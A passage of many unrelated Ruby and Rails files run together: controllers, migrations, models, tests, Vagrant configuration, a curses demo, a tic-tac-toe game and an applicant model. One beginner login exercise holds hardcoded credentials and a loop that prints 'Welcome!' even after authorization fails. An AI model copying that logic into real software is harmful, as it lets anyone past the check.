INSUFFICIENT_FUNDS = <<-STR **Insufficient funds** STR NOT_CHANGEABLE = <<-STR **I don't have that much change, enter a lower denomination** STR end end
module Locationable extend ActiveSupport::Concern included do belongs_to :city, optional: true def province city.try(:province) end def province_id city.try(:province_id) end end end
class Api::V1::CustomersController < ApplicationController before_action :set_customer, only: [:show, :update, :destroy] skip_before_action :verify_authenticity_token protect_from_forgery with: :null_session def index customers = Customer.return_customers( params[:order], params[:searchTerm], params[:category], params[:status], params[:offset] ) render json: customers end # Parameters {"order"=>"order", "searchTerm"=>"term", # # "category"=>"cat", "controller"=>"api/v1/customers", "action"=>"index"} def dashboard @stats = Customer.dashboard_stats(params[:time]) render json: @stats end def create @customer = User.first.customers.new(customer_params) if @customer.save @estimate = @customer.estimates.new(estimate_params) if @estimate.save render :create else render json: {errors: @estimate.errors}, status: 401 end else render json: {errors: @customer.errors}, status: 401 end end def update if @customer.update(customer_params) render json: @customer else render json: {errors: @customer.errors}, status: 401 end end def destroy @customer.destroy render json: { message: 'Customer Deleted!' } end private def set_customer @customer = Customer.find(params[:id]) end def estimate_params params.require(:estimate).permit(:location, :distance, :final_price, :fence_material, :fence_height, :gate_count, :status) end def customer_params params.require(:customer).permit(:name, :email, :phone_number) end end
class CreateStudents < ActiveRecord::Migration[5.1] def change create_table :students do |t| t.string :name end end end # Define a method called change and use the Active Record # create_table method within that method to create the table. # The table should have a :name column with a type string.
require 'test_helper' class TailorsControllerTest < ActionController::TestCase setup do @tailor = tailors(:one) end test "should get index" do get :index assert_response :success assert_not_nil assigns(:tailors) end test "should get new" do get :new assert_response :success end test "should create tailor" do assert_difference('Tailor.count') do post :create, tailor: { alt_contact_number: @tailor.alt_contact_number, capacity: @tailor.capacity, contact_number: @tailor.contact_number, name: @tailor.name } end assert_redirected_to tailor_path(assigns(:tailor)) end test "should show tailor" do get :show, id: @tailor assert_response :success end test "should get edit" do get :edit, id: @tailor assert_response :success end test "should update tailor" do patch :update, id: @tailor, tailor: { alt_contact_number: @tailor.alt_contact_number, capacity: @tailor.capacity, contact_number: @tailor.contact_number, name: @tailor.name } assert_redirected_to tailor_path(assigns(:tailor)) end test "should destroy tailor" do assert_difference('Tailor.count', -1) do delete :destroy, id: @tailor end assert_redirected_to tailors_path end end
# -*- mode: ruby -*- # vi: set ft=ruby : VAGRANTFILE_API_VERSION = "2" Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| config.vm.box = "geerlingguy/ubuntu1604" config.ssh.insert_key = false config.vm.synced_folder ".", "/vagrant", disabled: true config.vm.network :forwarded_port, guest: 54444, host: 4567 config.vm.provider :virtualbox do |v| v.memory = 256 v.linked_clone = true end # Application server 1. config.vm.define "di-node-app" do |app| app.vm.hostname = "di-node-app.dev" app.vm.network :private_network, ip: "192.168.60.10" end config.vm.provision "ansible" do |ansible| ansible.playbook = "playbook.yml" end end
module Fog module DNS def self.[](provider) new(:provider => provider) end def self.new(attributes) attributes = attributes.dup # prevent delete from having side effects case provider = attributes.delete(:provider).to_s.downcase.to_sym when :stormondemand require "fog/dns/storm_on_demand" Fog::DNS::StormOnDemand.new(attributes) else if providers.include?(provider) require "fog/#{provider}/dns" begin Fog::DNS.const_get(Fog.providers[provider]) rescue Fog.const_get(Fog.providers[provider])::DNS end.new(attributes) else raise ArgumentError, "#{provider} is not a recognized dns provider" end end end def self.providers Fog.services[:dns] end def self.zones zones = [] providers.each do |provider| begin zones.concat(self[provider].zones) rescue # ignore any missing credentials/etc end end zones end end end
json.buildings @buildings do |building| json.(building, :id, :name) json.classrooms building.classrooms do |classroom| json.(classroom, :id, :name) json.temperature classroom.try(:device).try(:temperature) json.options classroom.options do |option| json.(option, :id, :name) end end end
module Ambition module Adapters module ActiveRecord class Query @@select = 'SELECT * FROM %s %s' def kick owner.find(:all, to_hash) end def size owner.count(to_hash) end alias_method :length, :size def to_hash hash = {} unless (where = clauses[:select]).blank? hash[:conditions] = Array(where) hash[:conditions] *= ' AND ' end if order = clauses[:sort] hash[:order] = order.join(', ') end if Array(clauses[:slice]).last =~ /LIMIT (\d+)/ hash[:limit] = $1.to_i end if Array(clauses[:slice]).last =~ /OFFSET (\d+)/ hash[:offset] = $1.to_i end hash[:include] = stash[:include] if stash[:include] hash end def to_s hash = to_hash raise "Sorry, I can't construct SQL with complex joins (yet)" unless hash[:include].blank? sql = [] sql << "WHERE #{hash[:conditions]}" unless hash[:conditions].blank? sql << "ORDER BY #{hash[:order]}" unless hash[:order].blank? sql << clauses[:slice].last unless hash[:slice].blank? @@select % [ owner.table_name, sql.join(' ') ] end alias_method :to_sql, :to_s end end end end
require_relative "../test_helper" class CanCreateANewResturantTest < Capybara::Rails::TestCase test "can view restaurant registration page" do FactoryGirl.create(:user) FactoryGirl.create(:role) visit login_path fill_in "Username", with: 'big_eater' fill_in "Password", with: 'password' within(".form-container") do click_on "Login" end click_on "I want to create a restaurant" assert_content page, "Create your own restaurant" end test "a restaurant can be created" do FactoryGirl.create(:user) FactoryGirl.create(:role) visit login_path fill_in "Username", with: 'big_eater' fill_in "Password", with: 'password' within(".form-container") do click_on "Login" end click_on "I want to create a restaurant" fill_in "Restaurant Name", with: 'Toms Tavern' fill_in "Address", with: '123 Street Street' fill_in "Zipcode", with: '90210' click_on "Submit for approval" restaurant = Restaurant.last visit restaurant_path(restaurant) assert_content page, 'Toms Tavern' end test "an unpublished restaurant is not displayed on the index" do FactoryGirl.create(:user) FactoryGirl.create(:role) visit login_path fill_in "Username", with: 'big_eater' fill_in "Password", with: 'password' within(".form-container") do click_on "Login" end click_on "I want to create a restaurant" fill_in "Restaurant Name", with: 'Toms Tavern' fill_in "Address", with: '123 Street Street' fill_in "Zipcode", with: '90210' click_on "Submit for approval" visit root_path refute_content page, "Toms Tavern" end test "a published restaurant is displayed on the index" do FactoryGirl.create(:role) FactoryGirl.create(:user) visit login_path fill_in "Username", with: 'big_eater' fill_in "Password", with: 'password' within(".form-container") do click_on "Login" end click_on "I want to create a restaurant" fill_in "Restaurant Name", with: 'Toms Tavern' fill_in "Address", with: '123 Street Street' fill_in "Zipcode", with: '90210' click_on "Submit for approval" restaurant = Restaurant.last restaurant.published = true restaurant.active = true restaurant.save visit root_path assert_content page, "Toms Tavern" end test "a restaurant owner can see the restaurant dashboard" do FactoryGirl.create(:user) FactoryGirl.create(:role) visit login_path fill_in "Username", with: 'big_eater' fill_in "Password", with: 'password' within(".form-container") do click_on "Login" end click_on "I want to create a restaurant" fill_in "Restaurant Name", with: 'Toms Tavern' fill_in "Address", with: '123 Street Street' fill_in "Zipcode", with: '90210' click_on "Submit for approval" assert_content page, "Your new restaurant has been submitted" assert_content page, "Toms Tavern Dashboard" end test "a logged in user who doesn't own a restaurant can't see a restaurant dashboard" do user = FactoryGirl.create(:user) FactoryGirl.create(:user, {username: 'bob', password: 'password', email: 'bob@bob.com'}) FactoryGirl.create(:role) visit login_path fill_in "Username", with: 'big_eater' fill_in "Password", with: 'password' within(".form-container") do click_on "Login" end click_on "I want to create a restaurant" fill_in "Restaurant Name", with: 'Toms Tavern' fill_in "Address", with: '123 Street Street' fill_in "Zipcode", with: '90210' click_on "Submit for approval" restaurant = Restaurant.first click_on "Logout" click_on "Login" fill_in "Username", with: 'bob' fill_in "Password", with: 'password' within(".form-container") do click_on "Login" end visit restaurant_dashboard_path(restaurant) refute_content page, "Toms Tavern Dashboard" assert_content page, "Restaurant Listings" end end
=begin In the previous exercise, you wrote a program to solicit a password. In this exercise, you should modify the program so it also requires a user name. The program should solicit both the user name and the password, then validate both, and issue a generic error message if one or both are incorrect; the error message should not tell the user which item is incorrect. =end username = 'admin' password = 'SecreT' loop do puts "Please enter user name:" username = gets.chomp puts "Please enter your password:" password = gets.chomp if username != "admin" || password != "SecreT" puts "Authorization failed!" end break end puts "Welcome!"
class User < ApplicationRecord has_secure_password has_secure_token :api_key validates_presence_of :email, :password_confirmation validates_uniqueness_of :email end
# == Schema Information # # Table name: services # # id :bigint(8) not null, primary key # how_to_use :string # id_unid_gestora :integer # main_link :string # more_info :string # responsible :string # service_type :string # status :string # title :string # visibility :string # who_can_use :string # witch_is :string # created_at :datetime not null # updated_at :datetime not null # category_id :bigint(8) # # Indexes # # index_services_on_category_id (category_id) # # Foreign Keys # # fk_rails_... (category_id => categories.id) # class Service < ApplicationRecord # logs has_paper_trail # visualizações # acts_as_punchable extend Enumerize extend ActiveModel::Naming # enumerize :status, in: [:ativo, :inativo, :manutencao], predicates: true enumerize :status, in: %w(ativo inativo), i18n_scope: "status_values" enumerize :service_type, in: %w(digital presencial_e_digital presencial), i18n_scope: "service_type_values" enumerize :visibility, in: %w(interno externo), i18n_scope: "visibility_values" # RELACIONAMENTOS has_many :categorizations, dependent: :nullify has_many :categories, through: :categorizations belongs_to :orgao, class_name: 'Orgao', foreign_key: :id_unid_gestora, optional: true # PRÉ-SETT'S ANTES DE SALVAR before_save :set_name_sigla_orgao # VALIDACOES validates_presence_of :title, menssage: 'não pode ficar vazio' validates_presence_of :categories, menssage: 'não pode ficar vazio' validates_presence_of :service_type, menssage: 'não pode ficar vazio' validates_presence_of :status, menssage: 'não pode ficar vazio' validates_presence_of :visibility, menssage: 'não pode ficar vazio' validates_presence_of :id_unid_gestora, menssage: 'não pode ficar vazio' # # validates_presence_of :responsible, menssage: 'não pode ficar vazio' # validates_presence_of :witch_is, menssage: 'não pode ficar vazio' # validates_presence_of :who_can_use, menssage: 'não pode ficar vazio' # validates_presence_of :how_to_use, menssage: 'não pode ficar vazio' # validates_presence_of :eventuais_custos, menssage: 'não pode ficar vazio' # # validates_presence_of :principais_etapas, menssage: 'não pode ficar vazio' # validates_presence_of :previsao_prazo, menssage: 'não pode ficar vazio' # validates_presence_of :informacoes_necessarias, menssage: 'não pode ficar vazio' # validates_presence_of :canais_reclamacao_sugestao, menssage: 'não pode ficar vazio' # validates_presence_of :formas_comunicao_com_solicitante, menssage: 'não pode ficar vazio' # validates_presence_of :prioridade_atendimento, menssage: 'não pode ficar vazio' # validates_presence_of :previsao_tempo_espera, menssage: 'não pode ficar vazio' # validates_presence_of :mecanismos_comunicao_usuario, menssage: 'não pode ficar vazio' # validates_presence_of :procedimentos_receber_responder_manifestacoes_usuario, menssage: 'não pode ficar vazio' # validates_presence_of :formas_consultar_andamento, menssage: 'não pode ficar vazio' # # include ActiveModel::Validations # validates_url :main_link, allow_blank: false, message: "não é uma URL válida. É preciso incluir os prefixos: 'https://' ou 'http://'" # -------------- ransacker :title, type: :string do Arel.sql("unaccent(\"title\")") end private def set_name_sigla_orgao orgao = Orgao.find(self.id_unid_gestora) self.orgao_name = orgao.desc_unid_gestora self.sigla_orgao = orgao.sigla end end
class HomeController < ApplicationController def show @user = current_user end end
class Intersection < ActiveRecord::Base self.primary_key = :osm acts_as_mappable :lat_column_name => :latitude, :lng_column_name => :longitude has_and_belongs_to_many :streets has_many :empties def self.query_intersections(latitude, longitude) return Intersection.within(0.2, :origin => [latitude, longitude]).limit(8).pluck(:osm) end def self.sort_intersections_by_empty(osm_array) empties = osm_array.map do |osm| Empty.where('intersection_osm = ?', osm) end current_hour = Time.now.hour.to_s + ':00' if current_hour.length < 5 current_hour = current_hour.prepend('0') end empty_cab_hash = {} empties.each do |empty| empty.each do |cab| if cab.time == current_hour empty_cab_hash[cab.intersection_osm] = cab.total end end end return empty_cab_hash.sort_by {|k,v| -v} end def self.sort_intersections(array) array.map do |osm, empty_cabs| intersection = Intersection.find(osm) [{latitude: intersection.latitude, longitude: intersection.longitude}, empty_cabs] end end end
class BcSchool < ActiveRecord::Base has_many :business_cards attr_accessible :name, :address, :city, :state, :zip, :default_phone, :default_fax end
class RemoveArtistIdFromGenresTable < ActiveRecord::Migration def change remove_column(:genres, :artist_id) end end
class Item < Asset include Assignable::Single include AssignToable multisearchable( against: [:name, :asset_tag, :serial], additional_attributes: ->(record) { { label: record.name } }, ) tracked resourcify validates_presence_of :model has_many :nics, dependent: :destroy has_many :ips, -> { where(active: true) }, through: :nics, source: :ip_leases has_many :ip_leases, through: :nics belongs_to :default_location, class_name: "Location" accepts_nested_attributes_for :nics # , reject_if: ->(attributes){ attributes[:ip].blank? && attributes[:mac].blank? }, allow_destroy: true scope :no_nics, -> { includes(:nics).where(nics: { id: nil }) } scope :includes_associated, -> { includes([:category, :model, :assignments, :default_location, :department, :vendor, :manufacturer, :status_label, :activities, :ips, :nics, :ip_leases]) } def location if assigned? assignment.location else self.default_location end end end
require 'rails_helper' RSpec.describe TwitterClient do describe '#client' do let(:configured_client) { double('ConfiguredTwitterClient').as_null_object } let(:access_secret) { SecureRandom.uuid } before do allow(Twitter::REST::Client) .to receive(:new) .and_yield(configured_client) .and_return(configured_client) end it 'returns configured client' do expect(subject.client).to eq configured_client end it 'configures with consumer key' do expect(configured_client) .to receive(:consumer_key=) .with(described_class::TWITTER_KEY) subject.client end it 'configures with consumer secret' do expect(configured_client) .to receive(:consumer_secret=) .with(described_class::TWITTER_SECRET) subject.client end context 'with access token' do let(:access_token) { SecureRandom.uuid } subject { described_class.new(access_token: access_token) } it 'configures with access token' do expect(configured_client) .to receive(:access_token=) .with(access_token) subject.client end end context 'with access secret' do let(:access_secret) { SecureRandom.uuid } subject { described_class.new(access_secret: access_secret) } it 'configures with access secret' do expect(configured_client) .to receive(:access_token_secret=) .with(access_secret) subject.client end end end end
class AddVkColumnToPosts < ActiveRecord::Migration def change add_column :posts, :vk, :string end end
require_relative 'bucket' module VagrantPlugins module Cachier class Action class Install def initialize(app, env) @app = app @logger = Log4r::Logger.new("vagrant::cachier::action::install") end def call(env) return @app.call(env) unless env[:machine].config.cache.enabled? @env = env FileUtils.mkdir_p(cache_root.to_s) unless cache_root.exist? nfs_flag = env[:machine].config.cache.enable_nfs env[:machine].config.vm.synced_folder cache_root, '/tmp/vagrant-cache', id: "vagrant-cache", nfs: nfs_flag @app.call env env[:cache_dirs] = [] if env[:machine].config.cache.auto_detect Bucket.auto_detect(env) end if env[:machine].config.cache.buckets.any? env[:ui].info 'Configuring cache buckets...' cache_config = env[:machine].config.cache cache_config.buckets.each do |bucket_name, configs| @logger.debug "Installing #{bucket_name} with configs #{configs.inspect}" Bucket.install(bucket_name, env, configs) end data_file = env[:machine].data_dir.join('cache_dirs') data_file.open('w') { |f| f.print env[:cache_dirs].join("\n") } end end def cache_root @cache_root ||= case @env[:machine].config.cache.scope when :box @env[:home_path].join('cache', @env[:machine].box.name) when :machine @env[:machine].data_dir.join('cache') else raise "Unknown cache scope: '#{@env[:machine].config.cache.scope}'" end end end class Clean def initialize(app, env) @app = app @logger = Log4r::Logger.new("vagrant::cachier::action::clean") end def call(env) @env = env if env[:machine].state.id == :running && symlinks.any? env[:ui].info 'Removing cache buckets symlinks...' symlinks.each do |symlink| remove_symlink symlink end File.delete env[:machine].data_dir.join('cache_dirs').to_s end @app.call env end def symlinks # TODO: Check if file exists instead of a blank rescue @symlinks ||= @env[:machine].data_dir.join('cache_dirs').read.split rescue [] end def remove_symlink(symlink) if @env[:machine].communicate.test("test -L #{symlink}") @logger.debug "Removing symlink for '#{symlink}'" @env[:machine].communicate.sudo("unlink #{symlink}") end end end end end end
#!/usr/bin/env ruby require 'curses' def hex_to_4rgb(hex) m = hex.match /#(..)(..)(..)/ [m[1].hex*4, m[2].hex*4, m[3].hex*4] end Pair = Struct.new(:fg_number, :bg_number) PairChange = Struct.new(:number, :old_pair, :new_pair) Colour = Struct.new(:number, :new_colour, :old_colour) # do # OFFSET = 17 # def pairs # [number, # [number+offset # [number+offset*2 # end # end begin Curses.init_screen Curses.start_color# if Curses.has_colors? Curses.use_default_colors Curses.nonl Curses.noecho # don't echo keys entered Curses.curs_set(0) # invisible cursor height = Curses.lines width = Curses.cols win = Curses::Window.new(height, width, 0, 0) win.refresh colors = [].tap do |it| it << Colour.new(2, hex_to_4rgb('#FF0200'), Curses.color_content(2)) it << Colour.new(3, hex_to_4rgb('#1D9C44'), Curses.color_content(3)) it << Colour.new(4, hex_to_4rgb('#FA9D1B'), Curses.color_content(4)) it << Colour.new(5, hex_to_4rgb('#105FAE'), Curses.color_content(5)) it << Colour.new(6, hex_to_4rgb('#8E3BB1'), Curses.color_content(6)) it << Colour.new(7, hex_to_4rgb('#4C8BF5'), Curses.color_content(7)) it << Colour.new(10, hex_to_4rgb('#F45614'), Curses.color_content(10)) it << Colour.new(11, hex_to_4rgb('#8FBB33'), Curses.color_content(11)) it << Colour.new(12, hex_to_4rgb('#FFCD46'), Curses.color_content(12)) it << Colour.new(13, hex_to_4rgb('#0D8ACF'), Curses.color_content(13)) it << Colour.new(15, hex_to_4rgb('#5CB8F5'), Curses.color_content(15)) end colors.each do |colorchange| Curses.init_color(colorchange.number, *colorchange.new_colour) end (0..Curses.colors).each do |i| Curses.init_pair(i + 1, i, -1) end (0..255).each do |i| win.attron(Curses.color_pair(i)) win.addstr(i.to_s) win.attroff(Curses.color_pair(i)) end win.clear win.setpos(0,2) win.attron(Curses.color_pair(4) | Curses::A_REVERSE) win.addstr("Virtma.rb") win.attroff(Curses.color_pair(4)) win.getch win.close ensure colors.each do |colorchange| Curses.init_color(colorchange.number, *colorchange.old_colour) end Curses.close_screen end
class Admin::System < System validates :site_name, presence: true end
class Page < TopicMap::Topic TYPES = [:page, :association_type, :occurrence_type] unique_id :name key_reader :name key_accessor :content view_by :name view_by :content timestamps! def type=(type) self['type'] = TYPES.include?(type) ? type : :page end def type self['type'] ||= :page end class << self def create!(opts = {}) if opts.has_key?(:name) or opts.has_key?('name') pages = Page.by_name(:key => opts[:name]) pages.each {|p| p.destroy } end page = Page.new(opts) page if page.save end def query(q) [] end end end
Rails.application.routes.draw do root 'links#index' namespace :api, defaults: { format: :json } do namespace :v1 do resources :links end end scope controller: :users do post 'users/create' => :create, as: :new_user get 'users/sign_up' => :new, as: :sign_up end scope controller: :links do post '/dashboard/link/new' => :create get '/dashboard' => :show, as: :dashboard post '/dashboard/link/:id/update' => :update delete '/dashboard/:id/link' => :destroy patch '/dashboard/link/:id/activate' => :toggle_activate get '/:slug' => :redirect post '/auth_token' => :generate_key get '/link/inactive' => :inactive get '/link/deleted' => :deleted end scope controller: :sessions do get '/users/sign_in' => :new, as: :sign_in get '/users/sign_out' => :destroy, as: :sign_out post '/users/sign_in' => :create, as: :log_in end end
# frozen_string_literal: true module GraphQL module Introspection class DynamicFields < Introspection::BaseObject field :__typename, String, "The name of this type", null: false def __typename object.class.graphql_name end end end end
# == Informacion de la tabla # # Nombre de la tabla: *dbm_documentos_de_interes* # # idDocumentosInteres :integer(11) not null, primary key # titulo :string(255) default(""), not null # idDocumentos :integer(11) not null # # Se asocia un Documento con una entrada a documentos de interes # Esta se vera dentro de la pagina inicial del sitio en la seccion Documentos de interes class DocumentoIntere < ActiveRecord::Base set_table_name('dbm_documentos_de_interes') set_primary_key('idDocumentosInteres') validates_presence_of :titulo, :message => "No puede estar en blanco" belongs_to :documento, :foreign_key => 'idDocumentos' end
# TODO: Refactor so as not to use CSS selectors module ET3 module Test class FormSubmissionPage < BasePage set_url '/respond/form_submission' element :submission_confirmation, :css, '.submission-confirmation' element :reference_number, :css, '.reference-number' element :submission_date, :css, '.submission-date' element :valid_pdf_download, :link_named, 'links.form_submission.valid_pdf_download' element :invalid_pdf_download, :link_named, 'links.form_submission.invalid_pdf_download' element :return_to_govuk_button, :css, 'a.button.button-start' def return return_to_govuk_button.click end end end end
# LSchool OO TicTacToe Spike example require 'pry' class Board WINNING_SETS = [ [1, 2, 3], [4, 5, 6], [7, 8, 9], [1, 4, 7], [2, 5, 8], [3, 6, 9], [1, 5, 9], [3, 5, 7] ].freeze def initialize @squares = {} reset end # rubocop:disable Metrics/AbcSize def draw puts " | |" puts " #{@squares[1]} | #{@squares[2]} | #{@squares[3]}" puts " | |" puts "-----+-----+-----" puts " | |" puts " #{@squares[4]} | #{@squares[5]} | #{@squares[6]}" puts " | |" puts "-----+-----+-----" puts " | |" puts " #{@squares[7]} | #{@squares[8]} | #{@squares[9]}" puts " | |" end # rubocop:enable Metrics/AbcSize def []=(num, marker) @squares[num].marker = marker end def unmarked_keys @squares.select { |_, sq| sq.unmarked? }.keys end def full? unmarked_keys.empty? end def someone_won? !!test_for_winning_row end def test_for_winning_row WINNING_SETS.each do |set| set_to_check = @squares.values_at(*set).map(&:marker) break unless set_to_check.include?(Square::HUMAN_MARKER) || set_to_check.include?(Square::COMPUTER_MARKER) if set_to_check == set_to_check.rotate return set_to_check[0] end end false end def reset (1..9).each { |key| @squares[key] = Square.new } end end class Square INITIAL_MARKER = "-".freeze HUMAN_MARKER = 'X'.freeze COMPUTER_MARKER = 'O'.freeze attr_accessor :marker def initialize(marker = INITIAL_MARKER) @marker = marker end def to_s @marker end def unmarked? marker == INITIAL_MARKER end end class Player attr_reader :marker def initialize(marker) @marker = marker end end class TTTGame FIRST_TO_MOVE = Square::HUMAN_MARKER attr_reader :board, :human, :computer def initialize @board = Board.new @human = Player.new(Square::HUMAN_MARKER) @computer = Player.new(Square::COMPUTER_MARKER) @current_marker = FIRST_TO_MOVE end def play display_welcome_message loop do display_board loop do current_player_moves break if board.someone_won? || board.full? clear_and_display_board end display_result break unless play_again? refresh_game display_play_again_msg end display_goodbye_message end private def clear system 'clear' end def display_welcome_message puts "Welcome to Tic Tac Toe" puts "" end def display_goodbye_message puts "Thanks for playing Tic Tac Toe! Goodbye!" end def display_board puts "You are a #{human.marker}. Computer is a #{computer.marker}" puts "" puts "" board.draw puts "" end def clear_and_display_board(do_clear = true) clear if do_clear == true puts "You are a #{human.marker}. Computer is a #{computer.marker}" puts "" board.draw puts "" end def display_result clear_and_display_board case board.test_for_winning_row when Square::HUMAN_MARKER then winner = 'human' when Square::COMPUTER_MARKER then winner = 'computer' else puts "It's a tie!" return end puts "The winner is #{winner}." end def human_moves square = nil loop do puts "Chose an unmarked square: #{board.unmarked_keys.join(', ')}" square = gets.chomp.to_i break if board.unmarked_keys.include?(square) end board.[]=(square, human.marker) end def computer_moves square = board.unmarked_keys.sample board.[]=(square, computer.marker) end def human_turn? @current_marker == Square::HUMAN_MARKER end def current_player_moves if human_turn? human_moves @current_marker = Square::COMPUTER_MARKER else computer_moves @current_marker = Square::HUMAN_MARKER end end def play_again? answer = nil loop do puts "Would you like to play again? (y/n)?" answer = gets.chomp.downcase break if %w(y n).include?(answer) puts "Please enter a y for yes or an n for no." end answer == 'y' end def refresh_game board.reset @current_marker = FIRST_TO_MOVE clear end def display_play_again_msg puts "Lets play again!" puts "" end end game = TTTGame.new game.play
class FibonacciApp def call(env) @env = env if n <= 1 base_case else induction_step end end private # Fibonacci(0) => 0, Fibonacci(1) => 1 def base_case [200, { 'Content-Type' => 'text/plain' }, [n]] end def induction_step res = get_fibonacci(n-1) + get_fibonacci(n-2) [200, { 'Content-Type' => 'text/plain' }, [res.to_s]] end def get_fibonacci(i) @env['PATH_INFO'] = "/fibonacci/#{i}" self.class.new.call(@env)[2][0].to_i end # Parameter comes as last part of the URL def n @n ||= @env['PATH_INFO'].split('/').last.to_i end end
class GenerateTurn def self.run_first(game) player = get_next_player(game.id) Turn.create!(game_id: game.id, player_id: player.id, start_space_id: player.space_id) end def self.run(previous_turn) player = get_next_player(previous_turn.game_id, previous_turn.player_id) Turn.create!(game_id: previous_turn.game_id, player_id: player.id, start_space_id: player.space_id) end def self.get_next_player(game_id, current_player_id = nil) ordered_players = Player.ordered_by_first_roll(game_id) if current_player_id current_player_idx = ordered_players.index { |player| player.id == current_player_id } next_player_idx = (current_player_idx + 1) % ordered_players.size next_player = ordered_players[next_player_idx] else next_player = ordered_players.first end next_player end end
class OrdersController < ApplicationController def create order = Order.new(order_params) if order.save render json: { order: order }, status: :created else render json: { errors: order.errors }, status: :unprocessable_entity end end def reference_status order = Order.find_by(reference: params['reference']) render_status order end # Returns only the last order for queries by client_name def client_status order = Order.last_by_client(params['client_name']) render_status order end def list render json: { orders: Order.where(purchase_channel: params['purchase_channel']) }, status: :ok end private def order_params params.require(:order).permit( :reference, :purchase_channel, :client_name, :address, :delivery_service, :total_value, line_items: [] ) end def render_status(order) if order.nil? render json: { errors: { order: 'not found' } }, status: :not_found else render json: { order: { status: order.status } }, status: :ok end end end
class ProjectsListScreen < BaseClass element(:synchronize_button) { 'projectListContextMenuSynchronizeNow' } element(:favourite_icon) { 'projectListContextMenuFavouriteAdd' } element(:text_synchronize) { 'Will synchronize on next login.' } element(:info_synchronize) { 'projectItemSyncInfo' } value(:wait_50_seconds) { wait_seconds(50) } action(:touch_synchronize) { tap_on_element_id(synchronize_button) } action(:touch_favourite) { tap_on_element_id(favourite_icon) } def synchronizeProject touch_synchronize wait_50_seconds end def scrollToProject(projectName) scroll_down_until_see(projectName) end def scrollToTop(projectName) scroll_up_until_see(projectName) end def tapAndHold(what) tap_and_hold(what) end def setAsFavourite touch_favourite end def checkSynchronizeInfo element_exists("* text:'#{text_synchronize}' id:'#{info_synchronize}'") end def favouriteVisible element_exists(favourite_icon) end end
class FindUsersController < ApplicationController before_action :set_find_user, only: [:show, :edit, :update, :destroy] before_filter :authenticate_user! # GET /find_users # GET /find_users.json def index @search_results = User.ransack(params[:f]) if !params[:f].nil? current_city = params[:f][:current_city] @query = User.ransack(graduations_faculty_id_eq: params[:f][:faculty], graduations_batch_id_eq: params[:f][:batch], graduations_programme_id_eq: params[:f][:programme], graduations_campu_id_eq: params[:f][:campus]) if current_city == "1" @users = @query.result.where(city: params[:city], country: params[:country]) else @users = @query.result end end respond_to do |format| format.html format.js end end def map_view @users = User.where(city: params[:city], country: params[:country]) @hash = Gmaps4rails.build_markers(@users) do |user, marker| marker.lat user.latitude marker.lng user.longitude end end private # Use callbacks to share common setup or constraints between actions. def set_find_user @user = User.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def find_user_params params(:find_user).require(:campu_id_eq, :faculty_id_eq, :programme_id_eq, :batch_id_eq) end end
class ShopperAssignment < ActiveRecord::Base belongs_to :assignment_collection belongs_to :shopper has_many :store_assignments, dependent: :destroy has_many :order_assignments, dependent: :destroy def convert_to_json { shopper: shopper.username, store_assignments: store_assignments.collect{|x| x.name}, order_assignments: order_assignments.collect{|x| x.name} } end def convert_from_json(json) self.shopper = Shopper.find_by(username: json[:shopper]) unless json[:store_assignments].nil? self.store_assignments = json[:store_assignments].collect { |x| StoreAssignment.new(name: x) } end unless json[:order_assignments].nil? self.order_assignments = json[:order_assignments].collect { |x| OrderAssignment.new(name: x) } end self end end
class RenameFood < ActiveRecord::Migration def change rename_table :food, :foods end end
#Final resting place of the stories class ArssStory attr_accessor :title, :published_date, :text def full_title "#{published_date}: #{title}" end end
class Applicant < ActiveRecord::Base require 'set' require 'fileutils' serialize :subject_ids serialize :normal_subject_ids serialize :subject_amounts has_many :applicant_guardians, :dependent => :destroy has_one :applicant_previous_data, :dependent => :destroy has_many :applicant_addl_values, :dependent => :destroy has_many :applicant_additional_details, :dependent => :destroy has_many :applicant_addl_attachments, :dependent => :destroy has_one :finance_transaction, :as => :payee belongs_to :registration_course belongs_to :country belongs_to :nationality,:class_name=>"Country" belongs_to :batch belongs_to :application_status,:foreign_key=>"status" #validates_presence_of :first_name,:registration_course_id,:date_of_birth,:gender,:last_name validates_presence_of :registration_course_id #validates_presence_of :subject_ids,:if => :is_subject_based_and_minimum_electives_is_not_zero validates_format_of :email, :with => /^[\+A-Z0-9\._%-]+@([A-Z0-9-]+\.)+[A-Z]{2,6}$/i,:if=>:check_email, :message => :address_must_be_valid before_validation :initialize_children before_save :generate_reg_no # before_save :check_course_is_active before_create :set_pending_status after_create :save_print_token after_save :check_guardian_addl_values before_save :verify_precision after_update :send_notification before_save :check_if_attachment_deleted def verify_precision self.amount = FedenaPrecision.set_and_modify_precision self.amount end VALID_IMAGE_TYPES = ['image/gif', 'image/png','image/jpeg', 'image/jpg'] has_attached_file :photo, :styles => {:original=> "125x125#"}, :url => "/uploads/:class/:id/:attachment/:attachment_fullname?:timestamp", :path => "uploads/:class/:attachment/:id_partition/:style/:basename.:extension", :default_url => "master_student/profile/default_student.png", :default_path => ":rails_root/public/images/master_student/profile/default_student.png", :reject_if => proc { |attributes| attributes.present? }, :max_file_size => 512000, :permitted_file_types =>VALID_IMAGE_TYPES validates_attachment_content_type :photo, :content_type =>VALID_IMAGE_TYPES, :message=>'Image can only be GIF, PNG, JPG',:if=> Proc.new { |p| !p.photo_file_name.blank? } validates_attachment_size :photo, :less_than => 512000,\ :message=>'must be less than 500 KB.',:if=> Proc.new { |p| p.photo_file_name_changed? } accepts_nested_attributes_for :applicant_addl_attachments, :allow_destroy => true accepts_nested_attributes_for :applicant_additional_details, :allow_destroy => true accepts_nested_attributes_for :applicant_guardians, :allow_destroy => true accepts_nested_attributes_for :applicant_previous_data, :allow_destroy => true accepts_nested_attributes_for :applicant_addl_values, :allow_destroy => true attr_accessor :addl_field, :m_attr, :m_g_attr, :m_p_attr, :m_add_attr, :m_att_attr, :m_s_add, :hostname, :being_allotted, :delete_attachment, :guardians, :payment_pending def is_updating_status if !(self.new_record?) and (self.changed.count <= 2 and !((self.changed - ["status","has_paid"]).present?)) return true else return false end end def check_if_attachment_deleted if self.delete_attachment.present? and self.delete_attachment.to_s == "true" unless self.changed.include?("photo_updated_at") self.photo.clear end end end def is_subject_based_and_minimum_electives_is_not_zero unless self.is_updating_status self.registration_course.is_subject_based_registration.to_s == "true" and self.registration_course.min_electives!=0 end end def total_amount registration_course = self.registration_course if @registration_course.is_subject_based_registration subject_amounts = registration_course.course.subject_amounts ele_subject_amount = subject_amounts.find(:all,:conditions => {:code => self.subject_ids}).flatten.compact.map(&:amount).sum if registration_course.subject_based_fee_colletion 